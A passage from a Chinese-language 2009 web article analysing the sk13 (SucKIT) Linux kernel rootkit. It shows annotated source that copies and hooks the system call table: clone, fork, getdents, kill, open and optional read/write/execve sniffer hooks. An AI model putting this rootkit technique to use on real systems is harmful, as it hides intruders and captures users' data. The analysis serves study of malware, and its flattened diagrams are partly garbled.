Linux后门系列--由浅入深sk13完全分析
|
来源:http://xsec.org 作者:wzt 发布时间:2009-05-04
|
|
| 新的sys_call_table的数组 | | | 000000--------------000000| +------------------------------------------------------------------------------------
memset(mem + SCT_TABSIZE + ksize, 0, PID_TABSIZE);
/* 保存老的sys_call_table指针 ,pidtab指向mem + SCT_TABSIZE + ksize内存区域 */
*oldsct() = (ulong) sct; *pidtab() = (void *) (mem + SCT_TABSIZE + ksize);
/* 将老的sys_call_table的数组内容保存到mem开始出,这样newsct就保存了原sys_call_table的全部内容 */
memcpy(mem, sct, SCT_TABSIZE);
/* 下面就是修改系统调用指针入口来hook系统调用了
hook(OURCALL); 是一个宏调用
#define hook(name) \ newsct[__NR_##name] = ((ulong) new_##name - \ (ulong) kernel_start) + \ (ulong) mem + SCT_TABSIZE;
这样hook(OURCALL);就被展开为:
newsct[__NR_OURCALL] = ( (ulong) new_OURCALL - (ulong) kernel_start ) + (ulong)mem + SCT_TABSIZE;
sk.h中OURCALL被定义为: #define OURCALL oldolduname
newsct[__NR_oldolduname] = ( (ulong) new_oldolduname - (ulong) kernel_start ) + (ulong)mem + SCT_TABSIZE;
在看内存示意图
mem kernel_start kernel_init kernel_end | | | | V ------> 256 * 4 <--------V V V ----->512*sizeof(pid_struc) +------------------------------------------------------------------------------------ | 新的sys_call_table的数组 | | | | 000000--------------000000| +------------------------------------------------------------------------------------ ^ ^ | | oldolduname<------------new_oldolduname
用kernel.c中的new_oldolduname来指向原来的oldolduname
注意:oldsctp(),*oldsct(),*pidtab() 这3个函数的内存大小是怎么分配的,请看对kernel.c的分析
*/
hook(OURCALL); hook(clone); hook(fork); hook(vfork); hook(getdents); hook(getdents64);
hook(kill); hook(open); hook(close); #ifdef SNIFFER hook(read); hook(write); #endif #ifdef SNIFFER hook(execve); #endif #ifdef INITSTUFF hook(utime); hook(oldstat);
共11页: 上一页 [1] [2] [3] [4] [5] [6] [7] [8] 9 [10] [11] 下一页
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|